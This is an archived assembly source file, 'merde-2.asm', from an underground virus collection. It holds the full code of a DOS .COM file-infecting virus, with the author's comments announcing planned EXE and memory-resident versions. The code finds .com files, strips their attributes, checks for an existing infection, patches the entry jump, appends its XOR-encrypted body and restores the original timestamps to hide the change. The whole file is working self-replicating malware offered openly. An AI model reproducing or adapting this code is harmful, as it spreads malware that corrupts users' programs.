home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / merde-2.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  4.9 KB  |  203 lines

  1. ;well, here's the next installment of the merde virus...all that is new;
  2.  
  3. ;is your run of the mill xor encryption........and a little change in;
  4.  
  5. ;the code itself to make it slightly more modular...;
  6.  
  7. ;up+coming:    .exe version(why put 'em together? makes it too big);
  8.  
  9. ;        an actual function besides infect!;
  10.  
  11. ;        TSR infect version?;        
  12.  
  13. attrib            equ    21
  14.  
  15. time            equ    22
  16.  
  17. date            equ    24
  18.  
  19. fspec_address        equ    0e4h
  20.  
  21. filesize        equ    26
  22.  
  23. fname            equ    30
  24.  
  25. dta            equ    80h
  26.  
  27. virsize            equ    354
  28.  
  29. byte_compare_val    equ    35    
  30.  
  31. CODE_SEG    SEGMENT BYTE 
  32.  
  33.     ASSUME DS:CODE_SEG, CS:CODE_SEG
  34.  
  35.     ORG 100h
  36.  
  37. first:    jmp    caller
  38.  
  39.     db    128 dup(00)
  40.  
  41. caller:    call    caller2        ;si=this address for the whole thing;
  42.  
  43.  
  44.  
  45. ;ok, for encryption, we use the value of the byte at the jump instruction;
  46.  
  47. ;if the file we find isn't infected...;
  48.  
  49.  
  50.  
  51. encryptv:    db    ?
  52.  
  53.  
  54.  
  55. ;si=offset of the "caller";
  56.  
  57.  
  58.  
  59. caller2:    pop    si    
  60.  
  61.     sub    si,3
  62.  
  63.     jmp    getstart
  64.  
  65.  
  66.  
  67. ;jmp to getstart and have it call us back, getting the address of "start";
  68.  
  69. ;into es..(I know, why not just add the size of the stuff to si?;
  70.  
  71. ;I'll do it some other time; 
  72.  
  73.  
  74.  
  75. after:    pop    es        ;es=start:;    
  76.  
  77.  
  78.  
  79. ;okay, I decided, arbitrarily, to use bp and jump from the encrypt;
  80.  
  81. ;function so it was more unsingular to a particular circumstance;
  82.  
  83.     
  84.  
  85.     mov    bp,es        ;unencrypt de code+jump to virus;
  86.  
  87.     jmp    encrypt
  88.  
  89.  
  90.  
  91. ;if we are being called from the write proc, we need to save BP on the stack;
  92.  
  93.  
  94.  
  95. encrypt_w:    mov    ax,bp    ;ax=whereto jump at end;
  96.  
  97.         pop    bp    ;bp=return to write routine;
  98.  
  99.         push    ax    ;where to jump at end is on stack
  100.  
  101. ;note the standard, run o' the mill encrypt/decrypt!;
  102.  
  103.  
  104.  
  105. encrypt:    push    bx        ;might not be needed, I'll check later;
  106.  
  107.         push    si
  108.  
  109.         mov    cl,[si+3]    ;offset of encrypt value;
  110.  
  111.         mov    bx,es        ;where to start encrypting;
  112.  
  113.         xor    si,si
  114.  
  115. xloop:        mov    al,[bx+si]
  116.  
  117.         xor    al,cl
  118.  
  119.         mov    [bx+si],al
  120.  
  121.         cmp    si,0e7h        ;size of post-start(or close enough);
  122.  
  123.         ja    done
  124.  
  125.         inc    si
  126.  
  127.         jmp    xloop
  128.  
  129.     done:    pop    si
  130.  
  131.         pop    bx
  132.  
  133.         jmp    bp        ;jump whereever we were supposed to;
  134.  
  135.  
  136.  
  137. write_code:    call    encrypt_w    ;yep, encrypt it;
  138.  
  139.         pop    bp        ;get back address in this infected file;
  140.  
  141.         mov    bx,[di+9]    ;file to jump to, and file handle;
  142.  
  143.         mov    ah,40h
  144.  
  145.         mov    cx,virsize    ;total virus size
  146.  
  147.         mov    dx,si
  148.  
  149.         int    21h
  150.  
  151.         call    close_current
  152.  
  153.         jmp    nofiles        ;not really, just didn't change name;
  154.  
  155. ;this proc closes the file with original stats;
  156.  
  157. close_current:    
  158.  
  159.     mov    dx,[di+14]
  160.  
  161.     mov    cx,[di+12]
  162.  
  163.     mov    ax,5701h
  164.  
  165.     mov    bx,[di+9]
  166.  
  167.     int    21h
  168.  
  169.     mov    ah,3eh
  170.  
  171.     int    21h
  172.  
  173.     mov    ax,4301h
  174.  
  175.     xor    ch,ch
  176.  
  177.     mov    cl,[di+11]
  178.  
  179.     int    21h
  180.  
  181.     ret
  182.  
  183. nofiles:    push    ds
  184.  
  185.         pop    es
  186.  
  187.         jmp    bp
  188.  
  189.  
  190.  
  191. getstart:    call    after            
  192.  
  193.  
  194.  
  195.  
  196.  
  197. ;encrypted from here on out-es=start of this procedure;
  198.  
  199. start:    mov    di,es
  200.  
  201.     add    di,fspec_address    ;di=ADDRESS OF FILESPEC!; 
  202.  
  203.     mov    dh,[di+18]    
  204.  
  205.     mov    ah,[di+17]
  206.  
  207.     mov    al,[di+16]
  208.  
  209.     mov    bx,100h
  210.  
  211.     mov    [bx],al
  212.  
  213.     mov    [bx+1],ah
  214.  
  215.     mov    [bx+2],dh
  216.  
  217.     mov    bp,bx
  218.  
  219.     mov    ah,4eh        ;------------------;
  220.  
  221.     mov    cx,33
  222.  
  223.     mov    dx,di        ;find file match;
  224.  
  225. search:    int    21h
  226.  
  227.     jc    nofiles        ;get out if none found;        
  228.  
  229.     mov    bx,dta+filesize    ;compare filesize via BX;
  230.  
  231.     cmp    word ptr [bx],65000
  232.  
  233.     ja    leave1
  234.  
  235.     cmp    word ptr [bx],150
  236.  
  237.     jb    leave1
  238.  
  239.     jmp    ok
  240.  
  241. leave1:    mov    ah,4fh
  242.  
  243.     jmp    search
  244.  
  245. ok:    CLC
  246.  
  247.  
  248.  
  249.     ;Okay-- DI=base of fspec;
  250.  
  251.     mov    bx,dta+attrib
  252.  
  253.     mov    al,[bx]
  254.  
  255.     mov    [di+11],al    ;save attrib;
  256.  
  257.     mov    ax,word ptr [bx+1]
  258.  
  259.     mov    [di+12],ax    ;save time;
  260.  
  261.     mov    ax,word ptr [bx+3]
  262.  
  263.     mov    [di+14],ax    ;save date; 
  264.  
  265.     mov    ax,4301h
  266.  
  267.     mov    cx,0
  268.  
  269.     mov    dx,dta+fname
  270.  
  271.     int    21h        ;set attrib to 0;
  272.  
  273. label2:    mov    ax,3d02h
  274.  
  275.     int    21h
  276.  
  277.     mov    [di+9],ax    ;open + save handle;
  278.  
  279.     mov    bx,ax
  280.  
  281.     mov    ah,3fh
  282.  
  283.     mov    cx,3
  284.  
  285.     mov    dx,di
  286.  
  287.     add    dx,16        ;dx points to save area for first three bytes;
  288.  
  289.     int    21h        ;open handle, and read 3 bytes into it;
  290.  
  291.     cmp    byte ptr [di+16],0e9h
  292.  
  293.     jne    label1
  294.  
  295. cont:    mov    ax,4200h
  296.  
  297.     xor    cx,cx
  298.  
  299.     mov    dx,[di+17]
  300.  
  301.     add    dx,3+byte_compare_val
  302.  
  303.     mov    bx,[di+9]
  304.  
  305.     int    21h
  306.  
  307.     mov    ah,3fh
  308.  
  309.     mov    cx,2
  310.  
  311.     mov    dx,di
  312.  
  313.     add    dx,6
  314.  
  315.     int    21h
  316.  
  317.     mov    dx,[di+6]
  318.  
  319.     cmp    dx,[si+byte_compare_val]
  320.  
  321.     jne    label1
  322.  
  323.     call    close_current
  324.  
  325.     jmp    leave1
  326.  
  327. label1:    
  328.  
  329.     ;set encrypt value here---(low order byte of filesize of next file;
  330.  
  331.     mov    bx,dta+filesize
  332.  
  333.     mov    dl,[bx]
  334.  
  335.     mov    [si+3],dl
  336.  
  337.     mov    bx,[di+9]
  338.  
  339.     mov    ax,4200h
  340.  
  341.     xor    cx,cx
  342.  
  343.     mov    dx,0
  344.  
  345.     int    21h
  346.  
  347. ;okay, this is kinda thick..;
  348.  
  349. ;set pointer to after jmp instruct, and change address to size;
  350.  
  351. ;of file plus 3 for jmp instruction, minding that we have to flip stuff;
  352.  
  353.     mov    bx,dta+filesize
  354.  
  355.     mov    dh,[bx+1]    ;high val equals 2nd part of word+vice versa;
  356.  
  357.     mov    dl,[bx]
  358.  
  359.     sub    dx,3
  360.  
  361.     mov    [di+7],dx
  362.  
  363.     mov    byte ptr [di+6],0e9h    
  364.  
  365.     mov    ah,40h
  366.  
  367.     mov    bx,[di+9]
  368.  
  369.     mov    dx,di
  370.  
  371.     add    dx,6
  372.  
  373.     mov    cx,3
  374.  
  375.     int    21h
  376.  
  377.     xor    cx,cx
  378.  
  379.     mov    ax,4202h
  380.  
  381.     xor    dx,dx
  382.  
  383.     int    21h
  384.  
  385.     jmp    write_code
  386.  
  387.  
  388.  
  389. fspec:    db    '*.com',0    ;bx+0;
  390.  
  391. disk_buffer:    db    3 DUP(?)    ;di+6;
  392.  
  393. handle:        dw    ?        ;di+9;
  394.  
  395. attribute:    db    ?        ;di+11;
  396.  
  397. otime:        dw    ?        ;di+12;
  398.  
  399. odate:        dw    ?        ;di+14;
  400.  
  401. first_3:    db    0cdh,20h,00    ;di+16;
  402.  
  403. CODE_SEG    ENDS
  404.  
  405. END    first